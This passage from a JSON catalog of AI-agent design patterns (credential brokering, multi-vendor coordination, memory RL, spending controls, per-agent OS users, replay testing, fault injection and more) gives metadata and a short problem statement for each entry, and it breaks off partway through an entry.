    "excerpt": "\n## Problem\nAI agents increasingly need to call authenticated third-party APIs: post a Slack message, create a Linear issue, charge a Stripe customer, write to a GitHub repo. The dominant pattern today is to hand the agent raw credentials through environment variables, `.env` files, or per-tool config blocks. That breaks in several ways:\n\n- **Token leakage through context.** Agents that read environment variables can echo them into logs, prompts, error traces, or shared conversation transcripts. One careless `os.environ` printout in a tool call is enough to leak a long-lived API key.\n- **No OAuth refresh.** Static API keys never expire and can be reused indefinitely if exposed; OAuth access tokens need refresh logic the agent shouldn't be writing per-provider.\n- **Per-tool drift.** Every CLI, every framework, every skill builds its own credential bootstrap. The result is the same secret in `~/.config/foo/`, `~/.bar/credentials`, `.env`, and shell history.\n- **Hosted credential services trade one problem for another.** Routing credentials through a SaaS broker fixes the leakage problem but requires sending OAuth refresh tokens to a third party, creates a new audit surface, and adds a network dependency at runtime.\n\nThe pattern below keeps credentials local to the user's machine while still keeping them out of the agent's process."
  },
  {
    "title": "Markdown Polis — Multi-Vendor Agent Coordination via Filesystem Constitution",
    "status": "emerging",
    "authors": [
      "Yehuda Levy (@yehudalevy-collab)"
    ],
    "based_on": [
      "Polis Protocol (https://github.com/yehudalevy-collab/polis-protocol)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/yehudalevy-collab/polis-protocol",
    "tags": [
      "multi-agent",
      "coordination",
      "markdown",
      "bandit-routing",
      "governance",
      "vendor-agnostic"
    ],
    "slug": "markdown-polis-coordination",
    "id": "markdown-polis-multi-vendor-agent-coordination-via-filesystem-constitution",
    "summary": "Coordinates agents from different vendors through versioned markdown files: capability cards, work contracts, and bandit routing that learns from settled work",
    "maturity": "maturing",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "Multiple agents from different vendors need to share state on the same project",
      "Routing decisions should improve from past outcomes, not just static capability declarations",
      "Process rules need to evolve without breaking running work"
    ],
    "anti_signals": [
      "Single-agent solo session",
      "Pure RPC between two agents with no shared state",
      "Hard real-time coordination (sub-second latency requirements)"
    ],
    "prerequisites": [
      "A shared filesystem (git repo, shared drive) all agents can read and write",
      "Each agent can read structured markdown with YAML frontmatter"
    ],
    "related": [
      "shared-blackboard-coordination",
      "capability-card-discovery"
    ],
    "domains": [
      "coding",
      "research",
      "ops",
      "documentation"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nWhen agents from different vendors (Claude Code, Codex, Gemini CLI, Cursor, local Ollama, etc.) work on the same long-lived project, they have no native channel for \"who's good at what,\" \"what did we already try,\" or \"what does this team consider done.\" Each session starts cold. Hardcoded handoff prompts grow stale. The cheap-but-fragile alternative — declarative `AGENTS.md` rules — captures intent but never learns from outcomes."
  },
  {
    "title": "MCP Pattern Injection",
    "status": "validated-in-production",
    "authors": [
      "Rajath Bharadwaj (@Rajathbharadwaj)"
    ],
    "based_on": [
      "Claude Desktop MCP",
      "Cursor MCP Integration"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/Rajathbharadwaj/langgraph-patterns-mcp",
    "tags": [
      "mcp",
      "code-patterns",
      "tool-injection",
      "context-enhancement",
      "langgraph"
    ],
    "slug": "mcp-pattern-injection",
    "id": "mcp-pattern-injection",
    "summary": "Runs an MCP server that exposes framework best-practice patterns as tools, so the coding assistant fetches current patterns on demand",
    "signals": [
      "Team uses a fast-moving framework that model training data covers poorly",
      "Developers keep pasting the same framework patterns into prompts",
      "Coding assistant supports MCP"
    ],
    "anti_signals": [
      "Framework is stable and well covered by training data",
      "No one can maintain the pattern library"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAI coding assistants lack domain-specific knowledge about framework best practices. When building LangGraph agents, developers must repeatedly explain patterns, copy-paste from docs, or watch the AI reinvent suboptimal solutions. The assistant's training data is often outdated relative to fast-moving frameworks."
  },
  {
    "title": "Memory Reinforcement Learning (MemRL)",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Shengtao Zhang, Jiaqian Wang, et al. (Shanghai Jiao Tong University, Xidian University, MemTensor)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://arxiv.org/html/2601.03192v1",
    "tags": [
      "reinforcement-learning",
      "episodic-memory",
      "self-evolution",
      "value-aware-retrieval",
      "runtime-learning",
      "stability-plasticity"
    ],
    "slug": "memory-reinforcement-learning-memrl",
    "id": "memory-reinforcement-learning-memrl",
    "summary": "Stores memories with learned utility scores, retrieves by similarity then re-ranks by utility, and updates scores from outcomes while the LLM stays frozen",
    "signals": [
      "Multi-step tasks with clear success or failure signals",
      "Similar past solutions retrieved by RAG often fail",
      "Fine-tuning is too expensive"
    ],
    "anti_signals": [
      "Single-turn queries",
      "No clear reward signal",
      "Tasks are highly diverse with no repeating patterns"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nLLMs struggle with **runtime self-evolution** due to the stability-plasticity dilemma:\n\n- **Fine-tuning**: Computationally expensive and prone to catastrophic forgetting\n- **RAG/memory systems**: Rely on semantic similarity that retrieves noise\n- **No utility learning**: Can't distinguish high-value strategies from semantically similar but ineffective ones\n\nStandard retrieval assumes \"similar implies useful,\" but that's often wrong. A semantically relevant past solution might actually be a bad approach for the current task."
  },
  {
    "title": "Memory Synthesis from Execution Logs",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Internal Users",
      "Claude Code Team"
    ],
    "category": "Context & Memory",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "memory",
      "logs",
      "diary",
      "synthesis",
      "pattern-detection",
      "knowledge-extraction",
      "learning"
    ],
    "slug": "memory-synthesis-from-execution-logs",
    "id": "memory-synthesis-from-execution-logs",
    "summary": "Has the agent write a structured diary per task, then runs synthesis agents over many diaries to turn recurring patterns into rules, commands, and tests",
    "signals": [
      "Agent handles many similar tasks over time",
      "Lessons from single tasks are too specific to reuse directly",
      "Task logs can be stored and reviewed periodically"
    ],
    "anti_signals": [
      "Too few task logs to find recurring patterns",
      "Logs contain sensitive data that cannot be kept"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nIndividual task execution transcripts contain valuable learnings, but:\n\n- **Too specific**: \"Make this button pink\" isn't useful as general guidance\n- **Unknown relevance**: Hard to predict which learnings apply to future tasks\n- **Scattered knowledge**: Insights buried across hundreds of conversation logs\n- **Abstraction challenge**: Difficult to know the right level of generality\n\nSimply memorizing everything creates noise; ignoring everything loses valuable patterns."
  },
  {
    "title": "Merged Code + Language Skill Model",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anonymous Speaker (Open Source Agent RL Talk)",
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Reliability & Eval",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "model-merging",
      "transfer-learning",
      "coding-agent",
      "multilingual"
    ],
    "slug": "merged-code-language-skill-model",
    "id": "merged-code-language-skill-model",
    "summary": "Fine-tunes separate language and code specialists from the same base model, then merges their weights into one model instead of one large joint training run",
    "signals": [
      "Need one model strong at both natural language and code",
      "Compute for one large joint training run is not available",
      "Teams train specialists on the same base architecture"
    ],
    "anti_signals": [
      "Specialists use different architectures or tokenizers",
      "No benchmark suite to detect interference after merging"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nBuilding a **unified model** that excels both at **natural language tasks** (e.g., summarization, documentation generation) and **code generation/reasoning** typically requires a massive centralized training run. This is:\n\n- **Compute-Intensive:** Training from scratch on both code and language corpora demands enormous resources.\n- **Susceptible to Interference:** When mixing code and NL tasks in one pipeline, the model may forget earlier skills."
  },
  {
    "title": "Milestone Escrow for Agent Resource Funding",
    "status": "emerging",
    "authors": [
      "RioTheGreat-ai (@RioTheGreat-ai)"
    ],
    "based_on": [
      "AgentFund (example implementation)"
    ],
    "category": "UX & Collaboration",
    "source": "https://github.com/RioTheGreat-ai/agentfund-skill",
    "tags": [
      "resource-funding",
      "escrow",
      "milestones",
      "agent-governance",
      "budget-controls"
    ],
    "slug": "agentfund-crowdfunding",
    "id": "milestone-escrow-for-agent-resource-funding",
    "summary": "Holds agent funding in escrow and releases each payment only after independent verification of a measurable milestone",
    "signals": [
      "Autonomous agent teams need ongoing compute or API spend",
      "Work splits into small, auditable milestones",
      "Budget runaway is a risk without heavy human oversight"
    ],
    "anti_signals": [
      "Work cannot be split into objective milestones",
      "No one is assigned to verify milestones or handle disputes"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAutonomous agent teams can need ongoing resources (compute, API spend, tools) over many steps. Without a funding model that enforces guardrails, they either require heavy human intervention or risk budget runaway."
  },
  {
    "title": "Multi-Model Orchestration for Complex Edits",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Aman Sanger (Cursor)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "multi-model",
      "code-generation",
      "code-editing",
      "retrieval",
      "pipeline",
      "complex-tasks"
    ],
    "slug": "multi-model-orchestration-for-complex-edits",
    "id": "multi-model-orchestration-for-complex-edits",
    "summary": "Splits complex code edits across specialized models: a retrieval model gathers context, a large model writes the changes, and smaller models apply them",
    "signals": [
      "Multi-file code edits need broad context plus precise changes",
      "One model is too costly or too weak for all sub-tasks",
      "Phases can pass distilled results instead of full history"
    ],
    "anti_signals": [
      "Simple edits that one model handles well",
      "Team cannot afford to debug a multi-stage pipeline"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nA single large language model, even if powerful, may not be optimally suited for all sub-tasks involved in a complex operation like multi-file code editing. Tasks such as understanding broad context, generating precise code, and applying edits might benefit from specialized model capabilities."
  },
  {
    "title": "Multi-Platform Communication Aggregation",
    "status": "emerging",
    "authors": [
      "Lucas Carlson"
    ],
    "based_on": [
      "Anthropic (Claude Code)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/anthropics/claude-code",
    "tags": [
      "search",
      "aggregation",
      "parallel",
      "communication",
      "unified-interface"
    ],
    "slug": "multi-platform-communication-aggregation",
    "id": "multi-platform-communication-aggregation",
    "summary": "Queries every communication platform in parallel through adapters that share one schema, then merges, deduplicates, and ranks the results",
    "signals": [
      "Users search for messages without knowing which platform holds them",
      "Each platform has a CLI or API with search support",
      "Cross-platform audit or compliance searches"
    ],
    "anti_signals": [
      "All communication is on one platform",
      "Privacy rules do not allow aggregating data across platforms"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nUsers communicate across multiple platforms (email, Slack, iMessage, etc.) and need to search for information that might exist in any of them. Searching each platform manually is slow and error-prone. An agent tasked with \"find what X said about Y\" must know which platform to check—or check all of them."
  },
  {
    "title": "Multi-Platform Webhook Triggers",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (lethain.com)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://lethain.com/agents-triggers/",
    "tags": [
      "webhooks",
      "triggers",
      "integrations",
      "slack",
      "notion",
      "jira",
      "scheduled-events",
      "event-driven"
    ],
    "slug": "multi-platform-webhook-triggers",
    "id": "multi-platform-webhook-triggers",
    "summary": "Starts agent workflows from Slack, Notion, and Jira webhooks, emoji reactions, and schedules, with idempotency and signature checks on each event",
    "signals": [
      "Internal agent platform with many integration points",
      "Teams already work in Slack, Notion, or Jira",
      "Document workflows like RFCs and reviews need automatic routing"
    ],
    "anti_signals": [
      "Esoteric one-off integrations where Zapier or n8n is enough",
      "Rapid prototype before a custom build",
      "Non-technical users need self-service automation"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nAn internal agent only provides value when its workflows are initiated. Building out a library of workflow initialization mechanisms (triggers) is core to agent adoption. Without easy triggers, employees can't effectively automate their day-to-day workflows."
  },
  {
    "title": "No-Token-Limit Magic",
    "status": "experimental-but-awesome",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Thorsten Ball",
      "Quinn Slack"
    ],
    "category": "Reliability & Eval",
    "source": "https://www.nibzard.com/ampcode",
    "tags": [
      "performance",
      "cost",
      "experimentation"
    ],
    "slug": "no-token-limit-magic",
    "id": "no-token-limit-magic",
    "summary": "Removes hard token limits during prototyping to learn what good behavior needs, then compresses context only after quality is stable and measured",
    "signals": [
      "Pattern discovery, architecture design, or early benchmark work",
      "Quality baseline is not known yet",
      "Token usage and quality scores can be measured from the start"
    ],
    "anti_signals": [
      "Workflow is stable and already in production",
      "Budget cannot cover higher short-term inference cost"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTeams often optimize token spend too early, forcing prompts and context windows into tight constraints before they understand what high-quality behavior looks like. Early compression hides failure modes, reduces reasoning depth, and can lock in mediocre workflows that are cheap but unreliable."
  },
  {
    "title": "Non-Custodial Spending Controls",
    "status": "emerging",
    "authors": [
      "SAMA-I (@s-a-m-a-i)"
    ],
    "based_on": [
      "Walleted agent execution patterns"
    ],
    "category": "Security & Safety",
    "source": "https://policylayer.com",
    "tags": [
      "wallet-controls",
      "spend-limits",
      "policy-enforcement",
      "non-custodial",
      "AI-agents",
      "safety"
    ],
    "slug": "non-custodial-spending-controls",
    "id": "non-custodial-spending-controls",
    "summary": "Puts a policy layer between the agent and the transaction signer that checks each intent against allowlists, budgets, and rate limits, and fails closed",
    "signals": [
      "Agent can start wallet or payment transactions",
      "Spending rules must not depend on prompt logic",
      "Every spend decision needs an audit log"
    ],
    "anti_signals": [
      "Agent never moves funds",
      "Extra latency per transaction is not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents that can initiate wallet actions may issue unsafe transactions under prompt drift, buggy loops, or compromised prompts. If spending approvals are handled directly inside agent prompts or application logic, safety constraints are easy to bypass. This is a specific instance of the \"lethal trifecta\" threat model: combining wallet access with untrusted inputs and external communication creates exploitation paths."
  },
  {
    "title": "Non-Generative Judgment Routing with Typed Escalation",
    "status": "emerging",
    "authors": [
      "shitianfang (@shitianfang)"
    ],
    "based_on": [
      "jev-use (@shitianfang)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/shitianfang/jev-use",
    "tags": [
      "routing",
      "latency",
      "structured-outputs",
      "classification",
      "escalation",
      "orchestration",
      "agent-loops"
    ],
    "slug": "non-generative-judgment-routing",
    "id": "non-generative-judgment-routing-with-typed-escalation",
    "summary": "Sends decision-only loop steps as batched typed questions to a non-generative judgment model and escalates what it cannot answer back to the LLM",
    "complexity": "medium",
    "effort": "days",
    "impact": "medium",
    "signals": [
      "A loop repeats the same kind of yes/no, pick-one, or score decision every iteration",
      "Control-flow decisions are being parsed back out of free-form model text",
      "Per-step latency dominates the loop, not per-step reasoning depth"
    ],
    "anti_signals": [
      "Almost every step in the loop emits prose, code, or a patch",
      "Decisions are one-off and never repeat",
      "No way to measure judgment accuracy on your own traffic"
    ],
    "related": [
      "budget-aware-model-routing-with-hard-cost-caps"
    ],
    "domains": [
      "coding",
      "ops",
      "browser-automation"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nAn agent loop mixes two kinds of steps that look alike in the code and are not alike at all.\n\nSome steps have to produce text: write the commit message, explain why the test failed, emit the patch, answer the user. The text *is* the deliverable.\n\nOther steps only have to produce a decision that the control flow immediately consumes: is the build finished, which of these thirty page elements is the login button, is this shell command safe to run unattended, does this message still earn its place in the context window. Nothing downstream reads prose here — the loop reads one bit, one index, or one number.\n\nSending both kinds to the same generative model charges the same price for both. The decision step pays for a full autoregressive decode and its latency, and returns a free-form string the caller must parse back into the decision it already knew the shape of. Those steps are also the ones that repeat: they fire on every iteration, so their cost compounds while each one carries a token's worth of information. And because the answer space was never declared, the model can answer outside it — hedge, explain, invent a third option — leaving the caller to re-prompt or guess."
  },
  {
    "title": "One OS User per Agent",
    "status": "validated-in-production",
    "authors": [
      "5dive contributors (@5dive-bot)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/5dive-ai/5dive/blob/main/systemd/5dive-agent%40.service",
    "tags": [
      "isolation",
      "multi-agent",
      "systemd",
      "process-identity",
      "least-privilege",
      "long-running-agents",
      "audit-trail"
    ],
    "slug": "one-os-user-per-agent",
    "id": "one-os-user-per-agent",
    "summary": "Give each long-lived agent its own OS user account and a templated init-system unit, so identity, supervision and privilege come from the host instead of from a per-agent container.",
    "complexity": "low",
    "effort": "hours",
    "impact": "medium",
    "signals": [
      "Several persistent agents share one host and one working tree",
      "You need distinct process identities and per-agent resource accounting",
      "Each agent should hold a different privilege scope on the same machine"
    ],
    "anti_signals": [
      "Agents are ephemeral, one per task, and share no state",
      "Workloads are untrusted or adversarial and need kernel-level containment",
      "The fleet must scale horizontally across many machines"
    ],
    "prerequisites": [
      "An init system with templated units (systemd, or an equivalent supervisor)",
      "Root on the host to create users and install units"
    ],
    "related": [
      "local-first-credential-broker",
      "custom-sandboxed-background-agent",
      "isolated-vm-per-rl-rollout"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA fleet of *long-lived* agents is a different problem from a fleet of ephemeral task runners. The\nagents stay up for weeks, share one working tree, edit each other's files, and are expected to leave\nan audit trail a human can read months later.\n\nThe reflex is a container or a VM per agent. For this shape it fits badly:\n\n- **The shared working tree fights the boundary.** The whole point is that the agents collaborate on\n  one repo, so most of the isolation gets punched back out as bind mounts.\n- **You add a second supervisor.** The host already has one. Now there is an orchestrator on top of\n  it, with its own restart semantics and its own failure modes.\n- **Attribution needs deliberate identity mapping.** Containers can provide distinct identities,\n  but shared mounts still need consistent host uid mapping and audit records to identify writers.\n  A separate host uid per persistent agent is one direct way to organize process identity.\n- **Per-agent privilege has nowhere to live.** Giving one agent the ability to restart a service, and\n  denying it to the others, becomes bespoke policy rather than a line in `sudoers`.\n\nMeanwhile the host already ships an identity primitive that supports these requirements, and is older than every\nagent framework on it."
  },
  {
    "title": "Opponent Processor / Multi-Agent Debate Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Dan Shipper (Every)",
      "Reddit Community"
    ],
    "category": "Orchestration & Control",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "multi-agent",
      "debate",
      "adversarial",
      "bias-reduction",
      "uncorrelated-context",
      "validation"
    ],
    "slug": "opponent-processor-multi-agent-debate",
    "id": "opponent-processor-multi-agent-debate-pattern",
    "summary": "Spawns agents with opposing roles on the same context, lets them critique each other, then synthesizes their positions to expose bias and blind spots",
    "signals": [
      "High-stakes decision where confirmation bias is a risk",
      "Competing interests or perspectives must be weighed",
      "A synthesizer agent or human can resolve the debate"
    ],
    "anti_signals": [
      "Simple decisions that need no debate",
      "Budget cannot cover 2x or more token cost"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nSingle-agent decision making can suffer from:\n\n- **Confirmation bias**: Agent finds evidence supporting initial hypothesis\n- **Limited perspectives**: One context window misses alternative approaches\n- **Insufficient scrutiny**: No adversarial pressure to defend decisions\n- **Unexamined assumptions**: Agent doesn't challenge its own reasoning"
  },
  {
    "title": "Oracle and Worker Multi-Model Approach",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Sourcegraph Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://youtu.be/hAEmt-FMyHA?si=6iKcGnTavdQlQKUZ",
    "tags": [
      "multi-model",
      "cost-optimization",
      "strategic-reasoning",
      "architecture"
    ],
    "slug": "oracle-and-worker-multi-model",
    "id": "oracle-and-worker-multi-model-approach",
    "summary": "Uses a fast, low-cost worker model for most tool use and code generation, and lets it consult an expensive oracle model when it is stuck",
    "signals": [
      "Frontier models are too expensive for all routine work",
      "Coding tasks include complex debugging or architecture decisions",
      "Worker can detect when its approach is failing"
    ],
    "anti_signals": [
      "Tasks are routine and the worker model handles them alone",
      "Latency from model switching is not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nRelying on a single AI model creates a trade-off between capability and cost. High-performance models are expensive for routine tasks, while cost-effective models may lack the reasoning power for complex problems."
  },
  {
    "title": "Orchestration Prompt-Writing Benchmark",
    "status": "emerging",
    "authors": [
      "Contributor (@WhymustIhaveaname)"
    ],
    "based_on": [
      "Sun et al. (2026)"
    ],
    "category": "Reliability & Eval",
    "source": "https://arxiv.org/abs/2606.08878",
    "tags": [
      "multi-agent",
      "orchestration",
      "benchmark",
      "evaluation",
      "prompt-engineering",
      "role-assignment",
      "communication-topology",
      "sub-agent-prompting"
    ],
    "slug": "orchestration-prompt-writing-benchmark",
    "id": "orchestration-prompt-writing-benchmark",
    "summary": "Scores an orchestrator on whether its sub-agent prompts give the right information fragments to the right roles, separate from end-task success",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "medium",
    "signals": [
      "Building a multi-agent system with a fixed or evolving communication topology",
      "Orchestrator failures are hard to attribute to a specific sub-agent vs. a bad hand-off prompt",
      "You already have end-to-end evals but still see silent quality regressions"
    ],
    "anti_signals": [
      "Single-agent system with no delegation",
      "Topology is trivial (one sub-agent, one round-trip)"
    ],
    "related": [
      "declarative-multi-agent-topology-definition",
      "subject-hygiene",
      "workflow-evals-with-mocked-tools",
      "sub-agent-spawning"
    ],
    "domains": [
      "multi-agent-systems",
      "evaluation",
      "orchestration"
    ],
    "updated_at": "2026-07-17",
    "excerpt": "\n## Problem\nMulti-agent systems depend on an orchestrator correctly splitting a task's information among sub-agent roles: which fragment goes to which role, what each sub-agent is and is not told, and how that translates into the literal prompt text each sub-agent receives. End-to-end evals (execution success, tool-call correctness) and topology definitions (who talks to whom) both assume this hand-off step is done correctly, but neither tests it directly. A sub-agent can still stumble through a task with an incomplete or wrongly-scoped prompt, masking an orchestration bug until the system is scaled to harder tasks or unfamiliar topologies, where mis-assigned information becomes the dominant failure mode."
  },
  {
    "title": "Out-of-Process Provider-Boundary Replay",
    "status": "emerging",
    "authors": [
      "Xingke Yan (@xizhuomengcontin)"
    ],
    "based_on": [
      "VCR (Myron Marston)",
      "Polly.JS (Netflix)",
      "OrcaReplay"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/Continuum-AI-Corp/OrcaReplay",
    "tags": [
      "record-replay",
      "determinism",
      "regression-testing",
      "http-boundary",
      "offline",
      "instrumentation-free"
    ],
    "slug": "out-of-process-provider-boundary-replay",
    "id": "out-of-process-provider-boundary-replay",
    "summary": "Capture an agent run at the model-provider HTTP boundary from outside the process, then serve those bytes back so the agent re-executes its own logic with no provider call.",
    "maturity": "maturing",
    "complexity": "medium",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "The agent is expensive or slow to re-run",
      "A bug reproduces only in a full session, not in a unit test",
      "The framework changes faster than any instrumentation you could write for it"
    ],
    "anti_signals": [
      "You need the agent to reach a *live* model, e.g. to test prompt changes",
      "The run's tool calls are destructive and you have no sandbox",
      "Your provider traffic never leaves the process (a model compiled in, or an in-process stub)"
    ],
    "prerequisites": [
      "The client reads its origin from configuration or the environment",
      "A place to store verbatim request/response bytes"
    ],
    "related": [
      "action-caching-replay",
      "workflow-evals-with-mocked-tools"
    ],
    "tools": [
      "proxy",
      "test-harness"
    ],
    "domains": [
      "coding",
      "ops"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nAn agent session is expensive to reproduce. Re-running it costs tokens, needs the network, and the\nmodel may not make the same choices twice — so \"what did it actually do, and why\" usually gets\nanswered from logs rather than from the run itself.\n\nThe usual fix is to instrument the framework: a callback handler, a tracing decorator, a monkey\npatch around the client. That works until it doesn't:\n\n- **It is per-framework.** Every agent library needs its own hook, and the hooks move between\n  releases faster than the integrations that wrap them.\n- **It records an interpretation, not the traffic.** A handler sees the objects the framework built,\n  after the framework already normalised, retried, or merged streamed chunks.\n- **It cannot capture what you did not anticipate.** A field added by a provider last week is not in\n  your span schema, so it is not in your trace.\n- **It changes the program under test.** The run you recorded is a run with your instrumentation in\n  it."
  },
  {
    "title": "Output Verification Loop",
    "status": "emerging",
    "authors": [
      "John Weston (@JohnnyTarrr)"
    ],
    "based_on": [
      "VeroQ Shield (veroq-ai)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/veroq-ai/shield",
    "tags": [
      "verification",
      "hallucination-detection",
      "trust-scores",
      "fact-checking",
      "multi-agent"
    ],
    "slug": "output-verification-loop",
    "id": "output-verification-loop",
    "summary": "Verify LLM outputs by extracting individual claims, checking each against evidence sources, and returning per-claim trust scores before acting on the result.",
    "complexity": "low",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "Agent output feeds into decisions or downstream agents",
      "Hallucination risk is non-trivial",
      "Compliance requires an audit trail"
    ],
    "anti_signals": [
      "Output is purely creative with no factual claims",
      "Latency budget under 500ms"
    ],
    "related": [
      "reflection-loop",
      "self-critique-evaluator-loop"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nLLM agents confidently produce outputs that contain factual errors, hallucinated citations, or unsupported claims. In multi-agent pipelines the problem compounds: one agent's hallucination becomes another agent's input. Standard reflection loops catch stylistic issues but lack grounding against external evidence, so factual errors pass through unchallenged."
  },
  {
    "title": "Own-Check Fault Injection",
    "status": "emerging",
    "authors": [
      "Jeff Otterson (@Jott2121)"
    ],
    "based_on": [
      "Jia et al. (MAS-FIRE, arXiv:2602.19843)",
      "Bhardwaj (AgentAssay, arXiv:2603.02601)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/Jott2121/sabot",
    "tags": [
      "fault-injection",
      "evals",
      "reliability",
      "self-verification",
      "guardrails",
      "chaos-engineering",
      "observability"
    ],
    "slug": "own-check-fault-injection",
    "id": "own-check-fault-injection",
    "summary": "Plant a controlled fault inside a running agent pipeline and score whether the pipeline's own checks emit a detection act, keeping detected, reacted and recovered as separate verdicts.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "You ship reviewer agents, critic stages or guardrail callbacks and treat them as your reliability story",
      "You want assurance evidence stronger than \"our end-to-end pass rate is high\"",
      "You are about to let an agent take a side effect that is expensive to undo"
    ],
    "anti_signals": [
      "Single-turn prompt pipelines with no internal verification stage to measure",
      "You only need capability benchmarking, not reliability under injected failure"
    ],
    "prerequisites": [
      "A deterministic pass criterion for the task, so a no-fault baseline can be established",
      "Trace or event capture at the seam where each check runs"
    ],
    "tools": [
      "eval-harness",
      "tracing"
    ],
    "domains": [
      "ops",
      "coding",
      "research"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nMulti-agent pipelines increasingly gate real work behind their own quality machinery:\nreviewer agents, deterministic guardrail callbacks, escalation interrupts, orchestrator\nprogress ledgers. That machinery underwrites a widespread operational assumption — *if\nsomething goes wrong mid-pipeline, some check will catch it.*\n\nThe assumption is rarely tested, because the usual evidence for it is the wrong\nmeasurement. End-to-end pass rate tells you the pipeline produced a good answer. It does\nnot tell you whether anything would have noticed a bad input. Those come apart badly: a\npipeline can absorb a corrupted tool result, silently route around it, and still emit a\ncorrect answer. Every dashboard stays green, and you have learned nothing about the case\nyour pipeline *cannot* absorb.\n\nWorse, capability benchmarks and external monitors both miss the question. A benchmark\nasks whether the agent is smart. An external monitor asks whether *you* can detect a\nproblem from outside. Neither asks whether the self-verification you already paid for\nactually fires."
  },
  {
    "title": "Parallel Tool Call Learning",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Sam Pretty (Cognition)",
      "Will Brown (OpenAI)"
    ],
    "category": "Orchestration & Control",
    "source": "https://youtu.be/1s_7RMG4O4U",
    "tags": [
      "parallelization",
      "latency-optimization",
      "tool-use",
      "reinforcement-learning",
      "performance"
    ],
    "slug": "parallel-tool-call-learning",
    "id": "parallel-tool-call-learning",
    "summary": "Uses agent reinforcement fine-tuning to teach the model to issue independent tool calls in parallel, which cuts sequential rounds and latency",
    "signals": [
      "Agent makes many sequential tool calls that do not depend on each other",
      "Tool execution is faster than inference",
      "Agent RFT training and concurrent tool infrastructure are available"
    ],
    "anti_signals": [
      "Each tool result decides the next call",
      "Tools are slow or rate-limited"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAgents often execute tool calls sequentially even when they could run in parallel:\n\n- **Unnecessary latency**: Sequential calls add up when tool execution time dominates inference time\n- **Inefficient exploration**: Agent waits for one result before deciding the next action\n- **Poor tool utilization**: Multiple independent information needs handled one-by-one\n- **Suboptimal learned behavior**: Base models may not naturally parallelize without training signal\n\n**Example bottleneck:**\n\n```\nSequential (slow):\n1. search(\"Intel financial data\") → 2s\n2. read_file(\"2023_report.pdf\") → 1.5s\n3. search(\"return metrics\") → 2s\n4. read_file(\"returns_table.csv\") → 1.5s\n\nTotal: 7 seconds\n```\n\nCognition observed this with Devon: the baseline model would make 8-10 sequential tool calls during file planning, taking significant time even though many calls could have run in parallel."
  },
  {
    "title": "Patch Steering via Prompted Tool Selection",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Claude Code Concepts)",
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "patching",
      "prompt-steering",
      "tool-selection",
      "coding-agent"
    ],
    "slug": "patch-steering-via-prompted-tool-selection",
    "id": "patch-steering-via-prompted-tool-selection",
    "summary": "Tells the agent in the prompt which patch or refactoring tool to use, with usage examples, negative rules, and a fallback order",
    "signals": [
      "Coding agent has several patching tools, such as text, AST, and semantic",
      "Agent uses text patches for refactors and breaks references",
      "Tool choice varies between runs for the same task"
    ],
